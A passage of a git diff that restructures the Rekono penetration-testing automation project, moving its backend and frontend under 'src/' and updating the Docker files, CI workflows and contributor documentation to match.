(100%) rename {rekono => src/backend}/targets/apps.py (100%) rename {rekono => src/backend}/targets/enums.py (100%) rename {rekono => src/backend}/targets/filters.py (100%) rename {rekono => src/backend}/targets/migrations/0001_initial.py (100%) rename {rekono => src/backend}/targets/migrations/0002_auto_20230108_1356.py (100%) rename {rekono => src/backend}/targets/migrations/__init__.py (100%) rename {rekono => src/backend}/targets/models.py (100%) rename {rekono => src/backend}/targets/serializers.py (100%) rename {rekono => src/backend}/targets/urls.py (100%) rename {rekono => src/backend}/targets/utils.py (100%) rename {rekono => src/backend}/targets/views.py (100%) rename {rekono => src/backend}/tasks/__init__.py (100%) rename {rekono => src/backend}/tasks/admin.py (100%) rename {rekono => src/backend}/tasks/apps.py (100%) rename {rekono => src/backend}/tasks/enums.py (100%) rename {rekono => src/backend}/tasks/filters.py (100%) rename {rekono => src/backend}/tasks/migrations/0001_initial.py (100%) rename {rekono => src/backend}/tasks/migrations/0002_initial.py (100%) rename {rekono => src/backend}/tasks/migrations/__init__.py (100%) rename {rekono => src/backend}/tasks/models.py (100%) rename {rekono => src/backend}/tasks/queue.py (100%) rename {rekono => src/backend}/tasks/serializers.py (100%) rename {rekono => src/backend}/tasks/services.py (100%) rename {rekono => src/backend}/tasks/urls.py (100%) rename {rekono => src/backend}/tasks/views.py (100%) rename {rekono => src/backend}/telegram_bot/__init__.py (100%) rename {rekono => src/backend}/telegram_bot/admin.py (100%) rename {rekono => src/backend}/telegram_bot/apps.py (100%) rename {rekono => src/backend}/telegram_bot/bot.py (100%) rename {rekono => src/backend}/telegram_bot/commands/__init__.py (100%) rename {rekono => src/backend}/telegram_bot/commands/basic.py (100%) rename {rekono => src/backend}/telegram_bot/commands/help.py (100%) rename {rekono => src/backend}/telegram_bot/commands/selection.py (100%) rename {rekono => src/backend}/telegram_bot/context.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/__init__.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/ask.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/cancel.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/execute.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/new_authentication.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/new_input_technology.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/new_input_vulnerability.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/new_target.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/new_target_port.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/select_project.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/selection.py (100%) rename {rekono => src/backend}/telegram_bot/conversations/states.py (100%) rename {rekono => src/backend}/telegram_bot/management/__init__.py (100%) rename {rekono => src/backend}/telegram_bot/management/commands/__init__.py (100%) rename {rekono => src/backend}/telegram_bot/management/commands/telegram_bot.py (100%) rename {rekono => src/backend}/telegram_bot/messages/__init__.py (100%) rename {rekono => src/backend}/telegram_bot/messages/ask.py (100%) rename {rekono => src/backend}/telegram_bot/messages/basic.py (100%) rename {rekono => src/backend}/telegram_bot/messages/constants.py (100%) rename {rekono => src/backend}/telegram_bot/messages/conversations.py (100%) rename {rekono => src/backend}/telegram_bot/messages/errors.py (100%) rename {rekono => src/backend}/telegram_bot/messages/execution.py (100%) rename {rekono => src/backend}/telegram_bot/messages/findings.py (100%) rename {rekono => src/backend}/telegram_bot/messages/help.py (100%) rename {rekono => src/backend}/telegram_bot/messages/parameters.py (100%) rename {rekono => src/backend}/telegram_bot/messages/selection.py (100%) rename {rekono => src/backend}/telegram_bot/messages/targets.py (100%) rename {rekono => src/backend}/telegram_bot/migrations/0001_initial.py (100%) rename {rekono => src/backend}/telegram_bot/migrations/0002_telegramchat_user.py (100%) rename {rekono => src/backend}/telegram_bot/migrations/__init__.py (100%) rename {rekono => src/backend}/telegram_bot/models.py (100%) rename {rekono => src/backend}/telegram_bot/security.py (100%) rename {rekono => src/backend}/telegram_bot/sender.py (100%) rename {rekono => src/backend}/telegram_bot/token.py (100%) rename {rekono => src/backend}/testing/__init__.py (100%) rename {rekono => src/backend}/testing/api/__init__.py (100%) rename {rekono => src/backend}/testing/api/base.py (100%) rename {rekono => src/backend}/testing/api/test_authentications.py (100%) rename {rekono => src/backend}/testing/api/test_executions.py (100%) rename {rekono => src/backend}/testing/api/test_findings.py (100%) rename {rekono => src/backend}/testing/api/test_parameters.py (100%) rename {rekono => src/backend}/testing/api/test_processes.py (100%) rename {rekono => src/backend}/testing/api/test_projects.py (100%) rename {rekono => src/backend}/testing/api/test_resources.py (100%) rename {rekono => src/backend}/testing/api/test_security.py (100%) rename {rekono => src/backend}/testing/api/test_system.py (100%) rename {rekono => src/backend}/testing/api/test_targets.py (100%) rename {rekono => src/backend}/testing/api/test_tasks.py (100%) rename {rekono => src/backend}/testing/api/test_tools.py (100%) rename {rekono => src/backend}/testing/api/test_users.py (100%) rename {rekono => src/backend}/testing/data/reports/cmseek/dvwp.json (100%) rename {rekono => src/backend}/testing/data/reports/cmseek/joomla.json (100%) rename {rekono => src/backend}/testing/data/reports/cmseek/vwp.json (100%) rename {rekono => src/backend}/testing/data/reports/cmseek/wordpress.json (100%) rename {rekono => src/backend}/testing/data/reports/dirsearch/default.json (100%) rename {rekono => src/backend}/testing/data/reports/emailfinder/default.txt (100%) rename {rekono => src/backend}/testing/data/reports/emailharvester/default.txt (100%) rename {rekono => src/backend}/testing/data/reports/gitleaks/leaky-repo.json (100%) rename {rekono => src/backend}/testing/data/reports/gobuster/dir.txt (100%) rename {rekono => src/backend}/testing/data/reports/gobuster/dns.txt (100%) rename {rekono => src/backend}/testing/data/reports/gobuster/vhost.txt (100%) rename {rekono => src/backend}/testing/data/reports/joomscan/exploitable.txt (100%) rename {rekono => src/backend}/testing/data/reports/joomscan/not-exploitable.txt (100%) rename {rekono => src/backend}/testing/data/reports/joomscan/not-joomla.txt (100%) rename {rekono => src/backend}/testing/data/reports/log4j_scan/cve_2021_44228.txt (100%) rename {rekono => src/backend}/testing/data/reports/log4j_scan/not_vulnerable.txt (100%) rename {rekono => src/backend}/testing/data/reports/metasploit/exploits.txt (100%) rename {rekono => src/backend}/testing/data/reports/metasploit/nothing.txt (100%) rename {rekono => src/backend}/testing/data/reports/nikto/default.xml (100%) rename {rekono => src/backend}/testing/data/reports/nmap/enumeration-vulners.xml (100%) rename {rekono => src/backend}/testing/data/reports/nmap/ftp-vulnerabilities.xml (100%) rename {rekono => src/backend}/testing/data/reports/nmap/smb-analysis.xml (100%) rename {rekono => src/backend}/testing/data/reports/nmap/smb-users.xml (100%) rename {rekono => src/backend}/testing/data/reports/nuclei/tech_and_vulns.json (100%) rename {rekono => src/backend}/testing/data/reports/searchsploit/exploits.json (100%) rename {rekono => src/backend}/testing/data/reports/searchsploit/nothing.json (100%) rename {rekono => src/backend}/testing/data/reports/smbmap/directories.txt (100%) rename {rekono => src/backend}/testing/data/reports/smbmap/shares.txt (100%) rename {rekono => src/backend}/testing/data/reports/spring4shell_scan/cve_2022_22963.txt (100%) rename {rekono => src/backend}/testing/data/reports/spring4shell_scan/cve_2022_22965.txt (100%) rename {rekono => src/backend}/testing/data/reports/spring4shell_scan/not_vulnerable.txt (100%) rename {rekono => src/backend}/testing/data/reports/ssh_audit/cve_2018_10933.txt (100%) rename {rekono => src/backend}/testing/data/reports/ssh_audit/cve_2018_15473.txt (100%) rename {rekono => src/backend}/testing/data/reports/sslscan/heartbleed.xml (100%) rename {rekono => src/backend}/testing/data/reports/sslscan/insecure-renegotiation.xml (100%) rename {rekono => src/backend}/testing/data/reports/sslscan/protocols.xml (100%) rename {rekono => src/backend}/testing/data/reports/sslyze/insecure-renegotiation.json (100%) rename {rekono => src/backend}/testing/data/reports/sslyze/protocols.json (100%) rename {rekono => src/backend}/testing/data/reports/sslyze/vulnerabilities.json (100%) rename {rekono => src/backend}/testing/data/reports/theharvester/scanme.json (100%) rename {rekono => src/backend}/testing/data/reports/zap/active-scan.xml (100%) rename {rekono => src/backend}/testing/data/resources/endpoints_wordlist_1.txt (100%) rename {rekono => src/backend}/testing/data/resources/endpoints_wordlist_2.txt (100%) rename {rekono => src/backend}/testing/data/resources/invalid_extension.pdf (100%) rename {rekono => src/backend}/testing/data/resources/invalid_mime_type.txt (100%) rename {rekono => src/backend}/testing/data/resources/invalid_size.txt (100%) rename {rekono => src/backend}/testing/data/resources/passwords_wordlist.txt (100%) rename {rekono => src/backend}/testing/executions/__init__.py (100%) rename {rekono => src/backend}/testing/executions/test_base_tool.py (100%) rename {rekono => src/backend}/testing/executions/test_executions_from_findings.py (100%) rename {rekono => src/backend}/testing/integrations/__init__.py (100%) rename {rekono => src/backend}/testing/integrations/test_nvd_nist.py (100%) rename {rekono => src/backend}/testing/mocks/__init__.py (100%) rename {rekono => src/backend}/testing/mocks/defectdojo.py (100%) rename {rekono => src/backend}/testing/mocks/nvd_nist.py (100%) rename {rekono => src/backend}/testing/test_case.py (100%) rename {rekono => src/backend}/testing/tools/__init__.py (100%) rename {rekono => src/backend}/testing/tools/base.py (100%) rename {rekono => src/backend}/testing/tools/test_cmseek.py (100%) rename {rekono => src/backend}/testing/tools/test_dirsearch.py (100%) rename {rekono => src/backend}/testing/tools/test_emailfinder.py (100%) rename {rekono => src/backend}/testing/tools/test_emailharvester.py (100%) rename {rekono => src/backend}/testing/tools/test_gitleaks.py (100%) rename {rekono => src/backend}/testing/tools/test_gobuster.py (100%) rename {rekono => src/backend}/testing/tools/test_joomscan.py (100%) rename {rekono => src/backend}/testing/tools/test_log4j_scan.py (100%) rename {rekono => src/backend}/testing/tools/test_metasploit.py (100%) rename {rekono => src/backend}/testing/tools/test_nitkto.py (100%) rename {rekono => src/backend}/testing/tools/test_nmap.py (100%) rename {rekono => src/backend}/testing/tools/test_nuclei.py (100%) rename {rekono => src/backend}/testing/tools/test_searchsploit.py (100%) rename {rekono => src/backend}/testing/tools/test_smbmap.py (100%) rename {rekono => src/backend}/testing/tools/test_spring4shell_scan.py (100%) rename {rekono => src/backend}/testing/tools/test_ssh_audit.py (100%) rename {rekono => src/backend}/testing/tools/test_sslscan.py (100%) rename {rekono => src/backend}/testing/tools/test_sslyze.py (100%) rename {rekono => src/backend}/testing/tools/test_theharvester.py (100%) rename {rekono => src/backend}/testing/tools/test_zap.py (100%) rename {rekono => src/backend}/tools/__init__.py (100%) rename {rekono => src/backend}/tools/admin.py (100%) rename {rekono => src/backend}/tools/apps.py (100%) rename {rekono => src/backend}/tools/enums.py (100%) rename {rekono => src/backend}/tools/exceptions.py (100%) rename {rekono => src/backend}/tools/executor/__init__.py (100%) rename {rekono => src/backend}/tools/executor/callback.py (100%) rename {rekono => src/backend}/tools/executor/executor.py (100%) rename {rekono => src/backend}/tools/filters.py (100%) rename {rekono => src/backend}/tools/fixtures/1_tools.json (100%) rename {rekono => src/backend}/tools/fixtures/2_intensities.json (100%) rename {rekono => src/backend}/tools/fixtures/3_configurations.json (100%) rename {rekono => src/backend}/tools/fixtures/4_arguments.json (100%) rename {rekono => src/backend}/tools/fixtures/5_inputs.json (100%) rename {rekono => src/backend}/tools/fixtures/6_outputs.json (100%) rename {rekono => src/backend}/tools/migrations/0001_initial.py (100%) rename {rekono => src/backend}/tools/migrations/0002_initial.py (100%) rename {rekono => src/backend}/tools/migrations/0003_auto_20230105_1642.py (100%) rename {rekono => src/backend}/tools/migrations/__init__.py (100%) rename {rekono => src/backend}/tools/models.py (100%) rename {rekono => src/backend}/tools/serializers.py (100%) rename {rekono => src/backend}/tools/tools/__init__.py (100%) rename {rekono => src/backend}/tools/tools/base_tool.py (100%) rename {rekono => src/backend}/tools/tools/cmseek.py (100%) rename {rekono => src/backend}/tools/tools/dirsearch.py (100%) rename {rekono => src/backend}/tools/tools/emailfinder.py (100%) rename {rekono => src/backend}/tools/tools/emailharvester.py (100%) rename {rekono => src/backend}/tools/tools/gitleaks.py (100%) rename {rekono => src/backend}/tools/tools/gobuster.py (100%) rename {rekono => src/backend}/tools/tools/joomscan.py (100%) rename {rekono => src/backend}/tools/tools/log4j_scan.py (100%) rename {rekono => src/backend}/tools/tools/metasploit.py (100%) rename {rekono => src/backend}/tools/tools/nikto.py (100%) rename {rekono => src/backend}/tools/tools/nmap.py (100%) rename {rekono => src/backend}/tools/tools/nuclei.py (100%) rename {rekono => src/backend}/tools/tools/searchsploit.py (100%) rename {rekono => src/backend}/tools/tools/smbmap.py (100%) rename {rekono => src/backend}/tools/tools/spring4shell_scan.py (100%) rename {rekono => src/backend}/tools/tools/ssh_audit.py (100%) rename {rekono => src/backend}/tools/tools/sslscan.py (100%) rename {rekono => src/backend}/tools/tools/sslyze.py (100%) rename {rekono => src/backend}/tools/tools/theharvester.py (100%) rename {rekono => src/backend}/tools/tools/zap.py (100%) rename {rekono => src/backend}/tools/urls.py (100%) rename {rekono => src/backend}/tools/utils.py (100%) rename {rekono => src/backend}/tools/views.py (100%) rename {rekono => src/backend}/users/__init__.py (100%) rename {rekono => src/backend}/users/admin.py (100%) rename {rekono => src/backend}/users/apps.py (100%) rename {rekono => src/backend}/users/enums.py (100%) rename {rekono => src/backend}/users/filters.py (100%) rename {rekono => src/backend}/users/migrations/0001_initial.py (100%) rename {rekono => src/backend}/users/migrations/__init__.py (100%) rename {rekono => src/backend}/users/models.py (100%) rename {rekono => src/backend}/users/serializers.py (100%) rename {rekono => src/backend}/users/urls.py (100%) rename {rekono => src/backend}/users/views.py (100%) rename config.yaml => src/config.yaml (100%) create mode 100644 src/frontend/.env.production rename {rekono => src}/frontend/babel.config.js (100%) rename {rekono => src}/frontend/package-lock.json (100%) rename {rekono => src}/frontend/package.json (100%) rename {rekono => src}/frontend/public/favicon.icns (100%) rename {rekono => src}/frontend/public/favicon.ico (100%) rename {rekono => src}/frontend/public/favicon.png (100%) rename {rekono => src}/frontend/public/index.html (100%) rename {rekono => src}/frontend/public/static/background.jpg (100%) rename {rekono => src}/frontend/public/static/defect-dojo-favicon.ico (100%) rename {rekono => src}/frontend/public/static/logo-black.png (100%) rename {rekono => src}/frontend/public/static/logo-white.png (100%) rename {rekono => src}/frontend/src/App.vue (100%) rename {rekono => src}/frontend/src/assets/style.scss (100%) rename {rekono => src}/frontend/src/backend/RekonoAlerts.vue (100%) rename {rekono => src}/frontend/src/backend/RekonoApi.vue (100%) rename {rekono => src}/frontend/src/backend/RekonoPagination.vue (100%) rename {rekono => src}/frontend/src/backend/tokens.js (100%) rename {rekono => src}/frontend/src/background.js (100%) rename {rekono => src}/frontend/src/common/Deletion.vue (100%) rename {rekono => src}/frontend/src/common/MainHeader.vue (100%) rename {rekono => src}/frontend/src/common/MainTabs.vue (100%) rename {rekono => src}/frontend/src/common/Pagination.vue (100%) rename {rekono => src}/frontend/src/common/PublicForm.vue (100%) rename {rekono => src}/frontend/src/common/TableHeader.vue (100%) rename {rekono => src}/frontend/src/components/Processes.vue (100%) rename {rekono => src}/frontend/src/components/Projects.vue (100%) rename {rekono => src}/frontend/src/components/Tools.vue (100%) rename {rekono => src}/frontend/src/components/Users.vue (100%) rename {rekono => src}/frontend/src/components/Wordlists.vue (100%) rename {rekono => src}/frontend/src/components/dashboard/Dashboard.vue (100%) rename {rekono => src}/frontend/src/components/dashboard/FindingsByType.vue (100%) rename {rekono => src}/frontend/src/components/dashboard/TasksByStatus.vue (100%) rename {rekono => src}/frontend/src/components/dashboard/VulnerabilitiesBySeverity.vue (100%) rename {rekono => src}/frontend/src/components/findings/Finding.vue (100%) rename {rekono => src}/frontend/src/components/findings/Findings.vue (100%) rename {rekono => src}/frontend/src/components/project/Dashboard.vue (100%) rename {rekono => src}/frontend/src/components/project/Members.vue (100%) rename {rekono => src}/frontend/src/components/project/Targets.vue (100%) rename {rekono => src}/frontend/src/components/project/Tasks.vue (100%) rename {rekono => src}/frontend/src/errors/NotFound.vue (100%) rename {rekono => src}/frontend/src/main.js (100%) rename {rekono => src}/frontend/src/modals/ChangePassword.vue (100%) rename {rekono => src}/frontend/src/modals/DefectDojo.vue (100%) rename {rekono => src}/frontend/src/modals/InviteUser.vue (100%) rename {rekono => src}/frontend/src/modals/Process.vue (100%) rename {rekono => src}/frontend/src/modals/Project.vue (100%) rename {rekono => src}/frontend/src/modals/ProjectMember.vue (100%) rename {rekono => src}/frontend/src/modals/Step.vue (100%) rename {rekono => src}/frontend/src/modals/Task.vue (100%) rename {rekono => src}/frontend/src/modals/TaskRepeat.vue (100%) rename {rekono => src}/frontend/src/modals/Wordlist.vue (100%) rename {rekono => src}/frontend/src/modals/targets/Target.vue (100%) rename {rekono => src}/frontend/src/modals/targets/TargetDetails.vue (100%) rename {rekono => src}/frontend/src/modals/targets/TargetPort.vue (100%) rename {rekono => src}/frontend/src/modals/targets/Technology.vue (100%) rename {rekono => src}/frontend/src/modals/targets/Vulnerability.vue (100%) rename {rekono => src}/frontend/src/router/index.js (100%) rename {rekono => src}/frontend/src/store/index.js (100%) rename {rekono => src}/frontend/src/views/Login.vue (100%) rename {rekono => src}/frontend/src/views/Main.vue (100%) rename {rekono => src}/frontend/src/views/Profile.vue (100%) rename {rekono => src}/frontend/src/views/Project.vue (100%) rename {rekono => src}/frontend/src/views/ResetPassword.vue (100%) rename {rekono => src}/frontend/src/views/Settings.vue (100%) rename {rekono => src}/frontend/src/views/Signup.vue (100%) rename {rekono => src}/frontend/src/views/Task.vue (100%) rename {rekono => src}/frontend/vue.config.js (100%) diff --git a/.dockerignore b/.dockerignore index e8367cd78..9dd136ea8 100644 --- a/.dockerignore +++ b/.dockerignore @@ -4,16 +4,15 @@ .mypy_cache .scannerwork .vscode -.flake8 +.src/flake8 .pre-commit-config.yaml -.secrets.baseline +.gitleaksignore .coveragerc -mypy.ini -sonar-project.properties +src/mypy.ini *.md -reports/ -wordlists/ -logs/ -rekono/frontend/node_modules/* -rekono/testing/* +src/reports/ +src/wordlists/ +src/logs/ +src/frontend/node_modules/* +src/backend/testing/* .DS_Store \ No newline at end of file diff --git a/.github/workflows/code-style.yml b/.github/workflows/code-style-backend.yml similarity index 69% rename from .github/workflows/code-style.yml rename to .github/workflows/code-style-backend.yml index 23be7c500..9f80ac498 100644 --- a/.github/workflows/code-style.yml +++ b/.github/workflows/code-style-backend.yml @@ -1,9 +1,9 @@ -name: Code style +name: Backend style on: workflow_dispatch: pull_request: paths: - - 'rekono/**' + - 'src/backend/**' jobs: flake8: @@ -41,20 +41,3 @@ jobs: - name: MyPy check run: mypy --namespace-packages --package rekono --install-types --non-interactive - - eslint: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 - with: - fetch-depth: 0 - - - name: Install ESLint - working-directory: rekono/frontend - run: | - npm install . - npm install -g eslint - - - name: ESLint check - run: eslint rekono/frontend/ --ext .js,.jsx,.ts,.tsx diff --git a/.github/workflows/code-style-frontend.yml b/.github/workflows/code-style-frontend.yml new file mode 100644 index 000000000..f7d94d5ce --- /dev/null +++ b/.github/workflows/code-style-frontend.yml @@ -0,0 +1,24 @@ +name: Frontend style +on: + workflow_dispatch: + pull_request: + paths: + - 'src/frontend/**' + +jobs: + eslint: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v3 + with: + fetch-depth: 0 + + - name: Install ESLint + working-directory: src/frontend + run: | + npm install . + npm install -g eslint + + - name: ESLint check + run: eslint src/frontend/ --ext .js,.jsx,.ts,.tsx diff --git a/.github/workflows/desktop-ui.yml b/.github/workflows/desktop-ui.yml index c4c953925..3603e89c5 100644 --- a/.github/workflows/desktop-ui.yml +++ b/.github/workflows/desktop-ui.yml @@ -8,7 +8,7 @@ on: default: 'https://127.0.0.1' pull_request: paths: - - 'rekono/frontend/**' + - 'src/frontend/**' jobs: desktop-ui: @@ -38,7 +38,7 @@ jobs: - name: Configure backend URL if: github.event_name == 'workflow_dispatch' shell: python - working-directory: rekono/frontend + working-directory: src/frontend # nosemgrep: yaml.github-actions.security.run-shell-injection.run-shell-injection run: | import re @@ -53,26 +53,26 @@ jobs: sys.exit(1) - name: Install dependencies - working-directory: rekono/frontend + working-directory: src/frontend run: npm install . - name: Generate Desktop UI - working-directory: rekono/frontend + working-directory: src/frontend run: npm run electron:build - name: Change DEB filename if: matrix.os != 'windows-latest' - working-directory: rekono/frontend/dist_electron + working-directory: src/frontend/dist_electron run: mv *.${{ matrix.extension }} $DEB_FILENAME.${{ matrix.extension }} - name: Change DEB filename if: matrix.os == 'windows-latest' - working-directory: rekono/frontend/dist_electron + working-directory: src/frontend/dist_electron run: ren *.${{ matrix.extension }} %DEB_FILENAME%.${{ matrix.extension }} - name: Upload Desktop UI as GitHub artifact uses: actions/upload-artifact@v3 with: name: ${{ env.DEB_FILENAME }}_${{ matrix.os }} - path: rekono/frontend/dist_electron/${{ env.DEB_FILENAME }}.${{ matrix.extension }} + path: src/frontend/dist_electron/${{ env.DEB_FILENAME }}.${{ matrix.extension }} if-no-files-found: warn diff --git a/.github/workflows/desktop.yml b/.github/workflows/desktop.yml index 0e40e69b0..ae5b3f6dc 100644 --- a/.github/workflows/desktop.yml +++ b/.github/workflows/desktop.yml @@ -19,15 +19,15 @@ jobs: node-version: 16 - name: Install dependencies - working-directory: rekono/frontend + working-directory: src/frontend run: npm install . - name: Configure Rekono backend - working-directory: rekono/frontend + working-directory: src/frontend run: echo "VUE_APP_DESKTOP_BACKEND_URL=http://127.0.0.1:8000" > .env.production - name: Generate Desktop UI - working-directory: rekono/frontend + working-directory: src/frontend run: npm run electron:build - name: Build Docker image diff --git a/.github/workflows/security-containers.yml b/.github/workflows/security-containers.yml index 096fe11b9..16c420d1d 100644 --- a/.github/workflows/security-containers.yml +++ b/.github/workflows/security-containers.yml @@ -65,11 +65,11 @@ jobs: node-version: 16 - name: Install dependencies - working-directory: rekono/frontend + working-directory: src/frontend run: npm install . - name: Generate Desktop app - working-directory: rekono/frontend + working-directory: src/frontend run: npm run electron:build - name: Build Docker image diff --git a/.github/workflows/security-sast.yml b/.github/workflows/security-sast.yml index 03b997586..c13b5ef0e 100644 --- a/.github/workflows/security-sast.yml +++ b/.github/workflows/security-sast.yml @@ -4,7 +4,7 @@ on: pull_request: paths: - '.github/workflows/**' - - 'rekono/**' + - 'src/**' jobs: semgrep: @@ -25,7 +25,7 @@ jobs: run: pip install semgrep - name: Scan code - run: semgrep --config=auto --error --json -o semgrep_code.json rekono/ + run: semgrep --config=auto --error --json -o semgrep_code.json src/ - name: Scan workflows run: semgrep --config=auto --error --json -o semgrep_cicd.json .github/workflows/ diff --git a/.github/workflows/unit-testing.yml b/.github/workflows/unit-testing.yml index c24435c0f..88c0de17c 100644 --- a/.github/workflows/unit-testing.yml +++ b/.github/workflows/unit-testing.yml @@ -3,9 +3,7 @@ on: workflow_dispatch: pull_request: paths: - - 'rekono/**' - - '!rekono/frontend/**' - - 'requirements.txt' + - 'src/backend/**' env: REQUIRED_COVERAGE: 95 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 78cc38f26..bb503248c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -87,17 +87,17 @@ The support of external hacking tools in Rekono is based on the following steps: 1. Define the hacking tools in the [tools/fixture](https://github.com/pablosnt/rekono/tree/main/rekono/tools/fixtures) files. There are one file for each required entity: - - [`1_tools.json`](https://github.com/pablosnt/rekono/blob/main/rekono/tools/fixtures/1_tools.json): basic definition of the tool including information like name, command or reference link. + - [`1_tools.json`](https://github.com/pablosnt/rekono/blob/main/src/backend/tools/fixtures/1_tools.json): basic definition of the tool including information like name, command or reference link. - - [`2_intensities.json`](https://github.com/pablosnt/rekono/blob/main/rekono/tools/fixtures/2_intensities.json): intensity levels supported by the hacking tools and the related argument needed to configure the executions. + - [`2_intensities.json`](https://github.com/pablosnt/rekono/blob/main/src/backend/tools/fixtures/2_intensities.json): intensity levels supported by the hacking tools and the related argument needed to configure the executions. - - [`3_configurations.json`](https://github.com/pablosnt/rekono/blob/main/rekono/tools/fixtures/3_configurations.json): tool configurations available in Rekono based on an argument pattern and identified by a name. + - [`3_configurations.json`](https://github.com/pablosnt/rekono/blob/main/src/backend/tools/fixtures/3_configurations.json): tool configurations available in Rekono based on an argument pattern and identified by a name. - - [`4_arguments.json`](https://github.com/pablosnt/rekono/blob/main/rekono/tools/fixtures/4_arguments.json): tool arguments whose value should be obtained from an input (previous findings, wordlists or target information). + - [`4_arguments.json`](https://github.com/pablosnt/rekono/blob/main/src/backend/tools/fixtures/4_arguments.json): tool arguments whose value should be obtained from an input (previous findings, wordlists or target information). - - [`5_inputs.json`](https://github.com/pablosnt/rekono/blob/main/rekono/tools/fixtures/5_inputs.json): different input types that could be valid for a tool argument sorted by priority. + - [`5_inputs.json`](https://github.com/pablosnt/rekono/blob/main/src/backend/tools/fixtures/5_inputs.json): different input types that could be valid for a tool argument sorted by priority. - - [`6_outputs.json`](https://github.com/pablosnt/rekono/blob/main/rekono/tools/fixtures/6_outputs.json): different input types that a tool configuration can detect in the target. + - [`6_outputs.json`](https://github.com/pablosnt/rekono/blob/main/src/backend/tools/fixtures/6_outputs.json): different input types that a tool configuration can detect in the target. 2. Implement the parser to obtain findings from the tool results. You have to do that in the [tools/tools](https://github.com/pablosnt/rekono/tree/main/rekono/tools/tools) package: @@ -107,13 +107,13 @@ The support of external hacking tools in Rekono is based on the following steps: - Override the method `parse_output_file` or `parse_plain_output` depending on the tool output type. -3. Add tool to default processes like `All tools` in the file [`1_processes.json`](https://github.com/pablosnt/rekono/blob/main/rekono/processes/fixtures/1_processes.json). +3. Add tool to default processes like `All tools` in the file [`1_processes.json`](https://github.com/pablosnt/src/backend/blob/main/rekono/processes/fixtures/1_processes.json). 4. Implement [unit tests](https://github.com/pablosnt/rekono/tree/main/rekono/testing/tools) to check the correct working of the parser. You can include your [testing tool reports](https://github.com/pablosnt/rekono/tree/main/rekono/testing/data/reports) for that. 5. Add tool icon domain to the `Content-Security-Policy` in the following files: - - [vue.config.js](https://github.com/pablosnt/rekono/blob/main/rekono/frontend/vue.config.js#L3) for development environments + - [vue.config.js](https://github.com/pablosnt/rekono/blob/main/src/frontend/vue.config.js#L3) for development environments - [nginx.conf](https://github.com/pablosnt/rekono/blob/main/docker/nginx/nginx.conf#L69) for production environments diff --git a/docker-compose.yml b/docker-compose.yml index c5c00981e..9f0e6f96f 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -41,7 +41,7 @@ services: container_name: initialize volumes: - rekono:/rekono - - ./config.yaml:/rekono/config.yaml:ro + - ./src/config.yaml:/rekono/config.yaml:ro networks: - internal depends_on: @@ -63,7 +63,7 @@ services: hostname: tasks-worker volumes: - rekono:/rekono - - ./config.yaml:/rekono/config.yaml:ro + - ./src/config.yaml:/rekono/config.yaml:ro networks: - internal depends_on: @@ -86,7 +86,7 @@ services: hostname: executions-worker volumes: - rekono:/rekono - - ./config.yaml:/rekono/config.yaml:ro + - ./src/config.yaml:/rekono/config.yaml:ro networks: - internal - external @@ -109,7 +109,7 @@ services: hostname: findings-worker volumes: - rekono:/rekono - - ./config.yaml:/rekono/config.yaml:ro + - ./src/config.yaml:/rekono/config.yaml:ro networks: - internal - external @@ -130,7 +130,7 @@ services: hostname: emails-worker volumes: - rekono:/rekono - - ./config.yaml:/rekono/config.yaml:ro + - ./src/config.yaml:/rekono/config.yaml:ro networks: - internal - external @@ -152,7 +152,7 @@ services: container_name: telegram-bot volumes: - rekono:/rekono - - ./config.yaml:/rekono/config.yaml:ro + - ./src/config.yaml:/rekono/config.yaml:ro networks: - internal - external @@ -184,7 +184,7 @@ services: - 8000 volumes: - rekono:/rekono - - ./config.yaml:/rekono/config.yaml:ro + - ./src/config.yaml:/rekono/config.yaml:ro networks: - internal - external diff --git a/docker/Dockerfile.backend b/docker/Dockerfile.backend index 0e262b71b..31760cf29 100644 --- a/docker/Dockerfile.backend +++ b/docker/Dockerfile.backend @@ -7,25 +7,24 @@ ENV OBJC_DISABLE_INITIALIZE_FORK_SAFETY YES ENV REKONO_HOME /rekono # Install requirements -RUN apk update && apk add curl postgresql-dev gcc python3-dev musl-dev libmagic --repository=http://dl-cdn.alpinelinux.org/alpine/edge/community - -# Home -RUN mkdir /rekono -COPY config.yaml /rekono +RUN apk update && \ + apk add curl postgresql-dev gcc python3-dev musl-dev libmagic --repository=http://dl-cdn.alpinelinux.org/alpine/edge/community && \ + # Initialize directories + mkdir /rekono && \ + mkdir /code +# Configuration +COPY src/config.yaml /rekono # Source code -RUN mkdir /code -COPY rekono/ /code -COPY requirements.txt /code +COPY src/backend/ /code # Install backend dependencies -RUN pip install --upgrade pip -RUN pip install -r /code/requirements.txt - -# System user -RUN adduser --disabled-password rekono -RUN chown -R rekono:rekono /code -RUN chown -R rekono:rekono /rekono +RUN pip install --upgrade pip && \ + pip install -r /code/requirements.txt && \ + # System user + adduser --disabled-password rekono && \ + chown -R rekono:rekono /code && \ + chown -R rekono:rekono /rekono # Final system configuration USER rekono diff --git a/docker/Dockerfile.frontend b/docker/Dockerfile.frontend index 9bae91ab4..69dd45cbf 100644 --- a/docker/Dockerfile.frontend +++ b/docker/Dockerfile.frontend @@ -4,22 +4,23 @@ FROM node:19.6.1-alpine ENV NODE_OPTIONS --openssl-legacy-provider # Install requirements -RUN apk update && apk add curl -RUN npm install -g serve +RUN apk update && \ + apk add curl && \ + npm install -g serve && \ + # Initialize directory + mkdir /code # Source code -RUN mkdir /code -COPY /rekono/frontend /code - -# Install frontend dependencies +COPY src/frontend /code WORKDIR /code -RUN npm install -RUN npx browserslist@latest --update-db -RUN npm run build -# System user -RUN adduser --disabled-password rekono -RUN chown -R rekono /code +# Install frontend dependencies +RUN npm install && \ + npx browserslist@latest --update-db && \ + npm run build && \ + # System user + adduser --disabled-password rekono && \ + chown -R rekono /code # Final system configuration USER rekono diff 